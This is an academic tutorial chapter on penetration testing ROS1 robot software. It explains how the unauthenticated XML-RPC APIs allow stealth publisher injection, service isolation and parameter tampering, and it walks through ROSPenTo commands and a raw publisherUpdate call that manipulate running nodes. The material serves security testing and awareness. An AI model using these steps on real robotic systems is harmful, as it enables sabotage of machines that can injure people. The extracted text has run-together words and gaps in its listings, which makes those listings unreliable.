Abstract ROS is the most popular framework in robotics research and it also growsin terms of industrial use. This makes ROS a worthwhile target for attackers especiallysince security is not addressed by the core framework itself. Its open architecture andflexibility are also the reasons why ROS suffers from security issues. For example, inROS it is possible to isolate single nodes from the rest of the application without theROS master, the other nodes or even the node itself (i.e., its business code) noticingit. This is true for publishers, subscribers and services alike. This makes attacks verydifficult to spot at runtime. Penetration testing is the most common security testingpractice. The goal is to test an application for possible security flaws. To betterfacilitate penetration testing for ROS, we introduce ROSPenTo and Roschaos, toolsthat make use of the vulnerabilities of ROS and demonstrate how ROS applicationscan be sabotaged by an attacker. In this tutorial you will learn about the ROS XML-RPC API, which is our main attack point. You will see, how API attacks on ROS

B. Dieber (B) · S. Taurer · B. BreilingInstitute for Robotics and Mechatronics, Joanneum Research, Lakeside B08, 9020 Klagenfurt,Austriae-mail: [email protected]

S. Taurere-mail: [email protected]

B. Breilinge-mail: [email protected]

R. White · H. ChristensenContextual Robotics Institute, University of California, San Diego, 9500 Gilman Drive,La Jolla, CA 92093, USAe-mail: [email protected]

H. Christensene-mail: [email protected]

G. Caiazza · A. CortesiCa’ Foscari University, Venice, Dorsoduro 3246, 30123 Venezia, Italye-mail: [email protected]

A. Cortesie-mail: [email protected]


183

[email protected]

184 B. Dieber et al.

work in depth. You will get to know Roschaos and ROSPentTo, two tools, which canbe used to manipulate running ROS applications.

Keywords ROS · Security · Penetration testing

1 Introduction

Since its initial introduction ten years ago, ROS [16] has come quite a long way.It is now by far the most popular tool suite in robotics research. For a few yearsnow, there have also been increased efforts towards its industrialization.1 As soonas a technology moves out of the research environment though, it will become aninteresting target for hackers and other attackers with potentially economic interest(and also through the necessary resources to perform expensive operations). This canalso be seen in the ever-increasing number of incidents [3, 7, 8, 11, 12].

What has been neglected in the development of ROS are security considerations.With some background knowledge on how ROS works internally, it is quite easy tomanipulate.

DISCLAIMER: With this chapter, we want to show how vulnerabilities inROS could be exploited to manipulate a ROS application. By no means dowe want to encourage or promote the unauthorized tampering with runningrobotic applications since this can cause damage and serious harm. Nev-ertheless, we think it is important to show that those vulnerabilities existand to make the ROS community aware how easily an application can beundermined.

ROS makes a clear distinction between application management issues (like find-ing a publisher for a topic I want to subscribe to) and the communication of data. Thefirst is handled via an XML-RPC API while the second is TCP or UDP- based com-munication. In both, no security considerations regarding confidentiality, integrityor authenticity have been made. A ROS node does not need to identify or authorizeitself before taking any action. The stateless API also does not take account of whatis happening in the network. While from a software engineering point of view, manyof those design decisions seem very elegant, this opens up several attack surfacesin ROS [5, 10]. Besides the possibility for shutdown of single nodes (as a kind ofDenial of Service), single publishers, subscribers and services can be isolated fromthe rest of the application, false data can be injected and manipulations of parameterscan be performed at runtime (we go into more detail on that in the following sec-tions). In addition to what will be shown in this tutorial, one has to keep in mind alsothat eavesdropping is straightforward in ROS since no communication encryption ispresent. Thus, anyone can read the data that an application transmits.

1http://www.rosindustrial.org.

[email protected]

Penetration Testing ROS 185

Penetration testing is the most common security testing practice [1]. The goal isto test an application for possible security flaws. Typically it is done once, when theapplication is finished to ascertain the security of the whole system. However, it isclearly much more advantageous to do it more often, ideally to integrate it into thedevelopment cycle. For this, tools are required.

In the context of ROS, we introduce ROSPenTo and Roschaos, two tools, whichcan be used to manually or automatically perform attacks on running ROS applica-tions. They make use of the vulnerabilities in the ROS API. In this chapter, we willuse them to demonstrate attacks on ROS applications and show what the effects ofsuch manipulations can be. To provide a deeper understanding of where those vul-nerabilities originate, we first describe the ROS XML-RPC API. Based on this, wedescribe the sequences in which attacks are performed and give in-depth details ofwhat exactly happens in each step. After that, Roschaos and ROSPenTo are explainedand demonstrated as real tools to perform those attacks.

Overview

In this tutorial chapter, the reader will learn about specific vulnerabilities in ROS andwhy they exist along with information about how they can be exploited to manipulateROS applications. Further, the use of ROSPenTo and Roschaos to carry out sometypes of attacks will be explained in detail.

The rest of this tutorial is structured as follows:

– Background: In Sect. 2, we survey some state of the art on robot security anddescribe the ROS API, which is the basis for our attack patterns.

– Attacks on ROS: In Sect. 3, we describe those attack patterns in more detail byexplaining how and why they work in ROS.

– ROSPenTo: In Sect. 4, we present the ROSPenTo tool and the analyses and attacksit can perform along with practical examples.

– Roschaos: The Roschaos tool will be described in Sect. 5.– Conclusion: Finally, we conclude in Sect. 6 and describe practical aspects and

countermeasures for the attacks of ROSPenTo and Roschaos.

2 Background

In this section we dive into the low-level mechanisms of ROS. In order to model theinteractions between the components of the graph, ROS defines several horizontalAPIs. As said, those are the pivotal attack surfaces discussed in this tutorial. Belowwe present an overview of them, which is necessary to understand how it is possibleto carry out the attacks addressed by the proposed tools.

[email protected]


2.1 Related Work in ROS Security

The security issues in ROS have been known for quite some time now. A first assess-ment has shown severe vulnerabilities and potential for manipulation [10]. This hasbeen neglected since ROS has been used mainly in research and closed facilities.However, a recent study revealed that now there are quite some instances of ROSrunning openly accessible via the internet [4].

In recent years, several works have been concerned with improving the securityof ROS. SROS is an attempt to secure ROS at the graph level and on the datacommunication level [20, 21]. An application-level approach has been presented in[17] the authors study the performance impact of using encryption in ROS. Theirarchitecture however, where a dedicated node subscribes, encrypts and re-publishesROS messages, is not suitable for realworld use since the plain-text ROS topic is stillavailable for subscription.

Another application-level approach has been presented in [6]. It uses a dedicatedauthorization server to ensure that only valid nodes participate in the ROS network.Topic-specific encryption keys are used to ensure data confidentiality. In follow-up work, a hardened ROS core with authentication, authorization and encryptionfunctions that are transparent to the ROS nodes and thus do not require nodes to bechanged has been developed [2]. This work has been further extended with secureworkflows and initial penetration testing support in [5].

In [15], the various approaches on ROS security are compared and evaluated.Recently, Vilches et al. have progressed towards quantifying (in)security of robotsand have presented a framework for security assessment [18, 19].

2.2 ROS API

Shared among the various ROS1 client libraries is a common and established set ofsubsystem APIs that are used to string together ROS nodes into a interconnectedcomputational graph. Aside from the basic message transport protocols, the rest ofthe API can be divided into three main categories, including: the Master API, SlaveAPI, and Parameter Server API. These APIs reflect the roles of the participants aswell as the context for the exchange, namely that between the Master and amongother nodes.

These APIs are implemented via XML-RPC, which is a stateless, HTTP-basedremote procedure protocol. Given the web landscape around 2007, the beginning yearof ROS1 development, the protocol was chosen for being relatively lightweight, nostateful connection requirements, and wide availability in a variety of programminglanguages. With the simplicity of the former and the availability of the latter perhapsfacilitating the multitude of multilingual client libraries ROS1 provides today.

However the reliance on XML-RPC comes with a number of drawbacks. Criti-cisms include verbose encoding of application-level data resulting in greater overhead

[email protected]


Fig. 1 Example high-level diagram of ROS1 API. Shown is a example scenario of the ROS1 APIin the case of the classic talker/listener example, where a publisher advertises the topic chatter aftersubscribers are already registered

costs, and more notably the lack of any authenticated encryption or authorized remoteexecution. While identification of clients for authorization purposes can be achievedusing HTTPS security methods, ROS1 does not yet support such identification andauthentication features needed for enforcing basic access control. Thus the entiretyof the ROS1 API may be rendered vulnerable to unintended or malicious exchangesfrom anonymous network participants.

Every XML-RPC API call takes a number of required parameters, e.g.caller_id, and returns a tuple of three values including a status code, an inte-ger indicating the completion condition of the method, a status message, a human-readable string describing the return status for debugging, and a response value ofsome data type further defined by the individual API call. The rest of this sectiondetails the intended use of the three API categories, additionally foreshadowing thepotential vulnerability each call method may surface (Fig. 1).

2.3 Master API

The Master API,2 as the name suggests, provides nodes (clients) a standardizedinterface to connect to the master (server). Given that ROS1 relies on a centralizedMaster process to host discovery information, this API provides the topic/service

2wiki.ros.org/ROS/Master_API.

[email protected]


registration and namespace lookup used for establishing and maintaining a distributedpeer-to-peer publish/subscribe network.

2.3.1 Register/Unregister—Subscriber, Publisher, Service

These calls make use of the caller_id and API URI of the node, additionallythe namespace/data-type for subsystem registration. For unregistration, one of thefirst two parameters are needed, but will only occur if current registration matches.Note that identity derives completely via the call parameters provided and is nevernecessarily proven, neither through the context of the socket connection or otherwise,enabling trivial spoofing of registration requests.

2.3.2 Lookup—Node, Service

These calls are used to lookup the URIs for nodes given a node_id or service givenservice name, enabling the resolution for the URI location of namespaced nodes andservices. Acquiring the URI for a target element in the graph is the starting point formany remote attacks; open oracle access to arbitrary disclosure of this informationsimplifies this process greatly.

2.3.3 Get—Master State/URI, Topic List/Type

For further introspection, the internal state of the Master can be retrieved, detailingthe entire topology of the ROS system, i.e. all current publishers, subscribers, andservices. This is used by debugging and live monitoring tools like rqt’s node graphvisualizer. Deeper topic introspection is also possible, and is particularly useful forfingerprinting the system and ascertaining the necessary header information to spoofsubsystem connection requests.

2.4 Parameter API

The Parameter Server API3 mainly deals with the management of global parameterswithin ROS1, where the server is actually part of the Master. Presumably this APIwas made as a separate entity from the Master API to enable separation in the future,which remains unlikely for ROS1. Still this centralized model is able to distributechanges in parameters by invoking callback for namespaced parameter keys whichnodes may register for.

3wiki.ros.org/ROS/Parameter%20Server%20API.

[email protected]


2.4.1 Set, Get, Delete

These calls afford the reading and writing parameter values into the key-value param-eter storage. All anonymous agents are provided read and write permissions to theparameter database given that no ownership model is enforced, nor are any names-pace restrictions retained. For example, every node registers a logging level parameterthat may be used to silence or censor log activity.

2.4.2 Has, Search, List

For introspection, additional calls provide greater inquiries into the parameter names-pace tree, ranging from checking a target key, recursively searching the names-pace hierarchy, or a complete dump of instantiated keys. Such calls are commonlyemployed by developer or user interface tools such as rqt’s dynamic reconfigure tolist node parameters into a front panel display. This is additionally useful for profilingor fingerprinting the purpose and capabilities of system components.

2.4.3 Subscribe, Unsubscribe

To synchronize local node parameters with those stored globally in the parameterserver, nodes may subscribe to value change events for a given parameter key. Thesecallbacks are initiated by the parameter server, where temporary connection to thenode’s Slave API is created upon each event. Given the socket connection is notcontinuous, unlike topics or actions, the parameter subsystems as with services areparticularly exploitable using isolation attacks.

2.5 Slave API

The Slave API,4 hosted by every ROS1 node, serves two main roles: receiving call-backs from the Master, and negotiating connections with other nodes. Additional sys-tem level calls are also provided for orchestration and monitoring purposes. Thoughit is not possible to update the Master URI through the Slave API, its invocationenables any local anonymous connection to essentially usurp the role of the Master.

2.5.1 Update—Publisher, Parameter

These methods serve as callbacks for the Master to notify subscribing nodes ofchanged topic publishers registered or to disseminate modified values of parameter

4wiki.ros.org/ROS/Slave_API.

[email protected]


keys. As most nodes merely register for such events, rather than requesting andsubsequently parsing the entire system state from the Master API directly, thesecallbacks are the dominant mechanism for discovery and synchronization of datathrough the ROS1 graph.

2.5.2 Request—Topic Transport Info

After a subscriber receives a publisher update callback, it will subsequently requestthe topic info by contacting the new publishers directly to negotiate an establishedmeans of transport, e.g. ROSTCP or ROSUDP. This phase also checks to ensureexpected data types match via comparing message type checksums from the con-nection header. A separate socket port is relegated for the actual message transport,thus this handshake may be bypassed if the URI for transport is known a priori.

2.5.3 Get—Bus State/Info, Master URI, Pid, Subscription, Publications

For remote diagnostic purposes, additional system level calls provide current statis-tics and meta info on active transport connections, configured Master URI, processidentifier of the node on relative host, as well the node’s internal record of its own sub-scribed and published topics. These calls are commonly used by debugging and pro-filing tools like rosnode info to troubleshoot connectivity or bandwidth issues.These calls however reveal much in the way of the local graph topology withoutnecessarily resorting to the Master API.

2.5.4 Shutdown

A particularly powerful call is the shutdown method that can be used to remotely selfterminate the node process. This method is used by the Master when resolving nodenamespace conflicts, i.e nodes with duplicate fully qualified names, by convention-ally killing the older node in favor of the newer. However this method is not restrictedto the Master and can be invoked by any client, e.g. from rosnode kill, per-mitting the termination of ROS process without requiring the proper POSIX signalpermissions in the target host.

3 Attacks on ROS

In this section we explain some basic ways ROS can be manipulated by an attacker.Knowing the workflows behind ROS communication allows us to reveal weaknesses.

[email protected]


3.1 Stealth Publisher Attack

The stealth publisher attack aims at injecting false data into a running ROS applica-tion. Another ROS node is tricked into consuming data from a false publisher node. Inthis attack, an attacker utilizes the publisherUpdate call to isolate a subscriberfrom one or more regular publishers and additionally force it to establish topic com-munication to an unauthorized publisher, which need not necessarily be known to theROS master. Additionally, the getSystemState call and the lookupNode callfrom the ROS Master API as well as the requestTopic call of the XML-RPCSlave API are used in this attack scenario, which is also graphically described inFig. 2 in the form of a sequence diagram.

The sequence diagram, contains four entities:

– The ROS master M

– A subscribing entity S, which subscribes to a topic topic

– A publishing entity P , which is publishing topic-messages– An attacking entity A, which targets S

Basically, the scenario is divided into a preparation phase, where A gets the necessaryinformation to run the attack and an attacking phase, where the communicationrelations of S regarding topic are manipulated in a way that S only receives messagesfrom A afterwards.

In the first step, A requests the current system state in the ROS network from M , bycalling the getSystemState method. Now, A knows which nodes are currentlycommunicating over which topics. Particularly, A knows that S and P are commu-nicating over the targeted topic topic. By subsequently calling the lookupNodemethod twice, A gets the XML-RPC URIs of S and P . With this information, A cannow move on to the attacking phase.

First A sends a publisherUpdate call to S, which contains only A’s XML-RPC URI in the list of currently known publishers to S. As a result, S termi-nates the connection to P and initiates the communication with A, by sending arequestTopic call. From now on, we have to differentiate whether S wants touse TCPROS or UDPROS for data transport. In case of TCPROS, A forwards thereceived call to P and receives—besides other information—the port where P lis-tens for new TCP connections as a result. Before forwarding the reply to S, A hasto change the host and port information. Next, S establishes a TCP connection to A

and sends a TCPROS header. A then forwards this header to P in the same way, toreceive a correct TCPROS header message, which it can send back to S. After that, A

can start sending its own topic messages to S. When using UDPROS, the UDPROSheader is included in S’ requestTopic call. As a consequence, A has to forwardthe call to P again, in order to get a correct header for the reply. After A has sentthe correct reply to S, A immediately starts to send the topic messages. Note, thatthe number of publishers which can be excluded is not limited in this scenario. If wehad more than one publisher, S would terminate the communication to all of them

[email protected]


Fig. 2 Sequence diagram of a stealth publisher attack

and A would choose one of the publishers in order to get the correct header infor-mation. Theoretically, the information extracted from M in the first phase could alsobe requested from S or P by sending a getBusInfo call, but this would require

[email protected]


Fig. 3 Communication within a ROS action

additional information like the XML-RPC URIs from S and P in advance. No matterwhat the preparation phase looks like, the master is not aware of the changes in theROS graph which emerge from the attack. Consequently, the detection of this attackrequires advanced ROS graph analyzing methods.

3.2 Action Person-in-the-Middle Attack

In this attack scenario, we will utilize the stealth publisher attack to run a person-in-the-middle attack on a ROS action. As described in the corresponding ROS wikipage5 and shown in Fig. 3, under the hood, an action consists of five ROS topics.

Let’s suppose we have an action client AC and an action server AS, where AS

provides an arbitrary action. If AC wants to trigger this action, it sends a message onthe action specific goal topic. To cancel an action, AC has to publish a preempt requeston the cancel topic. An attacking entity A can now intercept this communicationby running a stealth publisher attack on these two topics. Additionally, by simplypublishing its own messages, A can trigger and cancel a modified action instanceon its own. Up to now, A does not prevent AS from sending feedback, result andstatus messages to AC . Hence, AC can detect the attack, by interpreting unexpectedmessages received from AS. This changes as soon as A runs three additional stealthpublisher attacks on the status, feedback and result topics. Now, A can publish themessages AC would expect as a reply on its own messages sent on the topics goaland cancel. From the communication point of view, this scenario is just the multipleapplication of the previously described attack. The main challenge for the attackeris the context sensitive knowledge required to pretend a reasonable behavior of AC

5http://wiki.ros.org/actionlib/DetailedDescription, last accessed 07/02/2018.

[email protected]


and AS in order to remain undetected. Apart from that, the attack itself is not visiblein the ROS graph and therefore it is as hard to detect as the stealth publisher attack.

3.3 Service Isolation Attack

Whereas the previously described attacks target the topic based communication inROS, in this scenario an attacking instance A aims for the isolation of a service server.To achieve this goal, A uses thegetSystemState, thelookupService and theunregisterServicemethods from the ROS Master API. The sequence diagramshown in Fig. 4 graphically describes the attack.

Here, A wants to isolate a ROS service service, provided by a service server S,from the rest of the ROS network in order to exclusively call the service on its ownafterwards. In the first step, A calls the getSystemState method to receive a listwith all available services and their providers. With this information, A subsequentlycalls the lookupService method, passes the name of the service to be targetedand gets the URI of the service as a result. Now A uses the unregisterServicemethod to trick the master into removing the service from its internal list. For that,

Fig. 4 Sequence diagram of a service isolation attack

[email protected]


the attacking entity has to pass the name of the service server, the name of the serviceand the URI of the service as parameter. After that, a lookupService call of anarbitrary service client C results in a negative response, which means that the serviceis not available anymore for regular ROS nodes in the network. In contrast, S doesn’tknow that the service it provides is no longer available. Consequently, A can stillcall the service whenever it wants by sending a TCPROS-Header and a subsequentservice request to the URI of the service. Note, that this attack can be detected bycalling the getSystemState method.

3.4 Malicious Parameter Update Attack

The ROS Parameter API provides two different options for a ROS node to get thecurrent value of a parameter stored on the parameter server. The first and probably themore common way is to call the getParam method. Here the ROS node requeststhe parameter value from the ROS Master and gets the current parameter valueas result. The second option is to subscribe to a specific parameter by calling thesubscribeParammethod. In this case the node stores the current parameter valuein a local variable. If the parameter value changes on the parameter server, the servercalls the node’s paramUpdate method, which results in the change of its localvariable for this parameter. In the malicious parameter update attack, an attackingentity A utilizes this behavior to change the value of a parameter param locally inthe node’s application, without touching the corresponding value on the parameterserver. The sequence diagram shown in Fig. 5 graphically describes the informationflow between A, a subscribing ROS node N , and the ROS master M .

Fig. 5 Sequence diagram of a malicious parameter update attack

[email protected]


First N has to subscribe to param1 by calling the subscribeParam method,passing its name, the URI of its local XML-RPC server and the name of param asparameter. The response then contains the current value of param. On a success-ful subscription, N requests the value of param a second time, using the methodgetParam. Now A comes into play and retrieves N ’s XML-RPC URI via thelookupNode method. After that, A unsubscribes N from param, by faking anunsubscribeParam call of N . Within this configuration, the parameter serverstops to send updates for param to N , while N still waits for paramUpdaterequests of the parameter server. A can utilize this state to get full control of the valueof param, which is locally stored at N , by simply sending its own paramUpdaterequests to N .

The scenario described here can also be applied on multiple nodes subscribing tothe same parameter. In the worst case, every node sees a different value of the sameparameter at a certain point of time, which can for instance lead to unpredictablebehavior in a distributed ROS application. Note, that cached parameters are onlysupported by the roscpp package. Hence, the malicious parameter attack can only berun on nodes implemented in C++.

4 ROSPenTo—The ROS Pentesting Tool

This section presents step-by-step guides on how to perform penetration testing in aROS application using a tool called ROSPenTo. Using ROSPenTo we show the stealthpublisher attack i.e., how a subscriber in a running ROS application can be trickedinto consuming false data without that being noticed by any other application node orthe ROS master. A second use-case describes how services can be isolated in order tomake them inaccessible by other ROS nodes. Finally, we show how ROSPenTo canmanipulate the ROS parameter server. But first, we give an introduction to ROSPenTo.

4.1 ROSPenTo Basics

ROSPenTo6,7 is a .net-based tool, which can be used to analyze and manipulaterunning ROS applications. ROSPenTo runs on any .net-enabled platform includingany platform, which runs Mono.8

ROSPenTo is able to analyze multiple ROS application networks at the same time.This can later be used to manipulate the individual applications and to reorganizetheir ROS nodes.

6Download ROSPenTo at https://github.com/jr-robotics/ROSPenTo and follow building instruc-tions in the README file.7A video of ROSPenTo in action can be found at https://vimeo.com/295958352.8http://www.mono-project.org.

[email protected]


4.1.1 Launching ROSPenTo

ROSPenTo can be launched in two different ways: with and without command linearguments. Passing no arguments when starting ROSPenTo runs the application ininteractive mode and the user can choose the procedures to be performed. In thenon-interactive mode, the application performs one single task depending on thecommand line arguments passed.

Interactive mode The interactive mode is started by launching ROSPenTo withoutcommand line arguments:

$ mono RosPenToConsole.exe

After a license header the following interaction menu is printed:

1 What do you want to do?2 0: Exit3 1: Analyze system ...4 2: Print all analyzed systems

By typing the number (e.g. ‘0’ or ‘1’ or ‘2’) in the console window the correspond-ing action (e.g. Exit or Analyze system or Print all analyzed systems) is performedby the ROSPenTo. The options perform the following tasks:

0. Exit: The program execution will be stopped and the application terminates.1. Analyze system: Requires the input of the ROS master URI to request information

about the ROS system. The ROS master provides information about the runningnodes, the available topics for communication, the accessible services and thestored parameters. All the retrieved information is shown in the console window.

2. Print all analyzed systems: Prints a lists of all the already analyzed ROS systems.A ROS system is represented by an unique number and the URI of the ROSmaster.

After the first system was analyzed (option ‘1’) the following options are enabledin the interaction menu:

1 What do you want to do?

2 0: Exit

3 1: Analyse system ...

4 2: Print all analyzed systems

5 3: Print information about analyzed system ...

6 4: Print nodes of analyzed system ...

7 5: Print node types of analyzed system (Python or C++) ...

8 6: Print topics of analyzed system ...

9 7: Print services of analyzed system ...

10 8: Print communications of analyzed system ...

11 9: Print communications of topic ...

12 10: Print parameters ...

13 11: Update publishers list of subscriber (add)...

14 12: Update publishers list of subscriber (set)...

15 13: Update publishers list of subscriber (remove)...

16 14: Isolate service ...

[email protected]


17 15: Unsubscribe node from parameter (only C++)...

18 16: Update subscribed parameter at Node (only C++) ...

Listing 1.1 The interactive mode menu of ROSPenTo

The dots at the end of an option indicates that there is additional input of the usernecessary. The enabled options perform the following tasks:

3. Print information about analyzed system: Prints information about the runningnodes, the available topics for communication, the accessible services and thestored parameters.

4. Print nodes of analyzed system: Lists all running nodes with an unique identifier,the name and the URI of the node.

5. Print node types of analyzed system (Python or C++): Prints whether a node isimplemented in Python or in C++.

6. Print topics of analyzed system: Lists all topics which are involved in a commu-nication between nodes.

7. Print services of analyzed system: Lists all available services in the ROS system.8. Print communications of analyzed system: Prints a list of communication rela-

tionships. Every communication relationship consists of one or more publisherswhich are publishing data for one or more subscribers under a specific topic.

9. Print communications of topic: Prints a single communication relationship for aspecific topic which must be defined by a user input.

10. Print parameters: Lists all the stored parameter in the ROS system.11. Publisher update (add publishers): Adds a new publisher to in the communica-

tion relationship of a subscriber. So, the subscriber’s publishers list is updated inthe communication relationship and the subscriber is able to receive data froman additional publisher.

12. Publisher update (set publishers): Same as option 4.1.1 but the defined pub-lisher(s) is/are explicitly set as the subscriber’s publishers, i.e., any existingpublishers will be overwritten.

13. Publisher update (remove publishers): Removes a publisher from the sub-scriber’s publishers list. The subscriber will not receive any further data from aremoved publisher.

14. Service isolation: Unregisters a service at the ROS master (the service is stillavailable at the service provider, the ROS master will just no longer pass on thecontact information to other nodes).

15. Unsubscribe node from parameter (only C++): Unsubscribes a node from aparameter and the node will not receive any further updates of the parameter.

16. Update subscribed parameter at Node (only C++): Updates a parameter forexactly one specified node in the ROS system.

Command line arguments The non-interactive mode of ROSPenTo performs onesingle task and terminates at the end. Currently, the available tasks are limited topublisher update (11:–13: of interactive mode menu) procedures but will be extendedin the coming releases of the ROSPenTo (check the ROSPenTo repository for an

[email protected]


up-to-date list). To perform a publisher update procedure various command linearguments have to be passed when launching ROSPenTo:

-t or --target: (Required). ROS Master URI of the target system. The target ROSsystem is the ROS system where the affected subscriber is in.

-p or --pentest: (Required). ROS Master URI of the penetration testing system(the attacker network).

--sub: (Required) Name of the affected subscriber in the target system.--top: (Required) Name of the affected topic.--pub: (Required) Name of the new publisher in the penetration testing

system.--add: (Default: False) In the publisherUpdate command, this adds pub-

lisher to existing ones.--set: (Default: False) In the publisherUpdate, this command sets new

publisher.--remove: (Default: False) In the publisherUpdate command, this removes

publishers from existing ones.

So, the following parameters are required to be defined and provided with thecorresponding value: [-t or –target, -p or –pentest, –pub, –sub, –top].The order of the parameters does not matter. Additionally, at least one of the followingoptions (withour arguments) is required: [–add,–set,–remove].

Example: The following command adds the publisher /talker to the commu-nication via the topic /chatter of the subscriber /listener.

$ mono RosPenToConsole .exe -t http :// localhost :11311 --sub

→ /listener --top /chatter -p http :// localhost :11312

→ --pub /talker --add

Note that the subscriber runs in the target ROS system (-t or --target) andthe publisher runs in the penetration testing ROS system (-p or --pentest).

4.1.2 Addressing Entities in ROSPenTo

ROS networks quickly become complex and hard to overview, especially using con-sole tools. ROSPenTo is even able to manage multiple ROS networks at the sametime. This requires some sort of addressing an entity (a node, topic or service) in thiscommand-line interface.

ROSPenTo assigns each entity in the ROS network a number and uses this numberin conjunction with the number of the network to identify a single entity globally.This generally has the form of x .y where x is the number of the network (called a“system”) and y is the number of the entity within its class. Thus, the topic 0.15 isthe fifteenth topic found by ROSPenTo in the first system analyzed. Note however,that 0.15 is not a unique identifier, there could be a 0.15 node but also a topic withthat number at the same time. ROSPenTo always asks inputs only within one specificentity class (e.g., “which topic should be affected”).

[email protected]


4.1.3 Analyzing a Network

To analyze a simple ROS application, let’s run the roscpp_tutorials9 orrospy_tutorials10 talker node (they are contained in your desktop installation of ROSor can be installed via apt-get).

$ roscore&$ rosrun roscpp_tutorials talker

Then start ROSPenTo as shown above. After pressing 1 in the interactive menu,enter the URI of a running roscore in order to analyze its nodes, topics and service.

>> 1

1 Please input URI of ROS Master: (e.g. http :// localhost

→ :11311/)

>> http :// localhost :11311

When running the rospy_tutorials talker, ROSPenTo prints the following networkstructure:

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.2: /rosout (XmlRpcUri: http

→ ://127.0.0.1:45767/)

4 Node 0.0: /talker (XmlRpcUri: http

→ ://127.0.0.1:40907/)

5 Topics:

6 Topic 0.0: /chatter (Type: std_msgs/String)

7 Topic 0.1: /rosout (Type: rosgraph_msgs /Log)

8 Topic 0.2: /rosout_agg (Type: rosgraph_msgs /Log)

9 Services:

10 Service 0.4: /rosout/get_loggers

11 Service 0.5: /rosout/set_logger_level

12 Service 0.1: /talker/get_loggers

13 Service 0.0: /talker/set_logger_level

14 Communications:

15 Communication 0.0:

16 Publishers:


→ ://127.0.0.1:40907/)


19 Subscribers:


21 Publishers:


→ ://127.0.0.1:40907/)

23 Topic 0.1: /rosout (Type: rosgraph_msgs /Log

→ )

9http://wiki.ros.org/roscpp_tutorials.10http://wiki.ros.org/rospy_tutorials.

[email protected]


24 Subscribers:


→ ://127.0.0.1:45767/)


27 Publishers:


→ ://127.0.0.1:45767/)

29 Topic 0.2: /rosout_agg (Type: rosgraph_msgs

→ /Log)

30 Subscribers:

Listing 1.2 Output of network analysis

This provides a variety of information. All the components of the ROS network(e.g. nodes, topics, services, …) and the communication relationships are printed.For every entity a reference number is generated where the first digit belongs to theanalyzed ROS system and the second digit is a unique number of the entity in itscategory. Additionally, the URI for XML-RPC requests is shown for each node. Inthe first block (line 2ff), all nodes in the network are displayed. Only the talker nodeof the roscpp_tutorials is running along with the mandatory rosout node that startsautomatically with the roscore.

Second, all registered topics and services are listed (line 5ff). Here, also the mes-sage types for each topic are displayed.

Under “Communications” (line 14ff), ROSPenTo prints all connections betweenpublishers and subscribers. In this case, there are no subscribers for the /chatter topicsince so far no subscriber has been started.

Now let’s start the listener to see the difference.

$ rosrun roscpp_tutorials listener

After running the system analysis again, the communications section shows thetalker node as subscriber to/chatter.


2 Publishers:


→ ://127.0.0.1:40907/)


5 Subscribers:

6 Node 0.1: /listener (XmlRpcUri:

→ http ://127.0.0.1:41313/)

The corresponding RQT graph is shown in Fig. 6.

Fig. 6 The RQT graph running talker and listener

[email protected]


4.1.4 Modifying Publishers

Now that we know how to get information on publishers, subscribers and topics, wecan perform a first manipulation of a ROS network. First, we want to cut off thelistener node from the data which the talker publishes. Use the option 13 to removepublishers from a subscriber.

>> 13

1 To which subscriber do you want to send the publisherUpdate

→ message?

2 Please enter number of subscriber (e.g.: 0.0):

>> 0.1

1 Which topic should be affected?2 Please enter number of topic (e.g.: 0.0):

>> 0.0

1 Which publisher(s) do you want to remove?

2 Please enter number of publisher(s) (e.g.: 0.0 ,0.1 ,...):

>> 0.0

1 sending publisherUpdate to subscriber ’/listener (XmlRpcUri:

→ http ://127.0.0.1:42425/) ’ over topic ’/chatter (Type

→ : std_msgs/String)’ with publishers ’’

2 PublisherUpdate completed successfully.

If you look at the shell where you started the listener node, you will notice that theoutput has stopped. The subscriber no longer receives any messages from the talker.

But what happened exactly? ROSPenTo called the XML-RPC function pub-

lisherUpdate with an empty list of publishers as parameter. This caused the listenernode to assume that no publishers are available for/chatter and thus, it terminated theconnection to the talker node. The xml content of this call is shown below.

<?xml version=’ ’1.0 ’ ’?><methodCall><methodName>publisherUpdate</methodName><params><param><value>/master</value>

</param><param><value>/ chatter</value>

</param><param><value>

[email protected]


<array><data></ data>

</ array></value>

</param></params>

</methodCall>

Listing 1.3 XML content of a publisherUpdate call

It is interesting to note, that this has not been recognized by the master, if yougenerate the RQT graph again, it will show again the same image as in Fig. 6 i.e.,the master did not recognize that change.

4.1.5 Bridging Two ROS Networks

Now we look at a more advanced example. As already mentioned, ROSPenTo canhandle more than one ROS system at once. Thus, it is also able to manipulate them.To demonstrate this, we start talker and listener in two different ROS networks i.e.,associated to two different ROS masters.

$ roscore&$ roscore -p 11312 &

We make use of the -p command line argument to set a different port for the secondmaster.

Next, start the talker with the first master.

$ export ROS_MASTER_URI=http :// localhost :11311$ rosrun roscpp_tutorials talker

In a different shell, start the listener with the second master.

$ export ROS_MASTER_URI=http :// localhost :11312$ rosrun roscpp_tutorials listener

Initially, the listener will not output any/chatter messages since in its ROS instancethere is no talker. Next, start ROSPenTo again and perform analyses of both ROSsystems using the two URIs http://localhost:11311 and http://localhost:11312.

The following listing shows the analysis output for the two systems (simplifiedfor readability).

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.0: /talker

4 Topics:


6 Communications:


8 Publishers:

9 Node 0.0: /talker

[email protected]



11 Subscribers:

1213 System 1: http ://127.0.0.1:11312/

14 Nodes:

15 Node 1.0: /listener

16 Topics:


18 Communications:


20 Publishers:


22 Subscribers:

23 Node 1.0: /listener

Listing 1.4 Analyses of the two ROS systems

It can be seen that in both instances, the/chatter topic is present but in system 0,the communication 0.0 has no subscribers just as communication 1.1 in system 1 hasno publishers. The corresponding RQT graphs are shown in Fig. 7.

Next, we will use ROSPenTo to connect the talker to the listener.

>> 11


→ message?


>> 1.0


>> 1.1

1 Which publisher(s) do you want to add?


>> 0.0

Fig. 7 The RQT graphs of talker and listener running in different ROS systems

[email protected]


1 sending publisherUpdate to subscriber ’/listener (XmlRpcUri:

→ http ://127.0.0.1:42959/) ’ over topic ’/chatter (Type:

→ std_msgs/String)’ with publishers ’/talker (XmlRpcUri:

→ http ://127.0.0.1:38383/) ’

2 PublisherUpdate completed successfully.

You will now see outputs in the shell where you started the listener node. Again,the RQT graph will show no change.

4.1.6 Analyzing Node Types

In this section we will analyze the programming language used for the nodes’ imple-mentation. Although the C++ and Python implementations of the ROS master andslave APIs are compatible, they have differences in their implementation. This allowsus to analyze, which ROS client implementation was used for a specific node. Par-ticularly, we will call the XML-RPC method getName, which is implemented onlyin the Python slave API and analyze the response.

Note: This function currently does not consider rosjava or any other ROS clientimplementaiton.

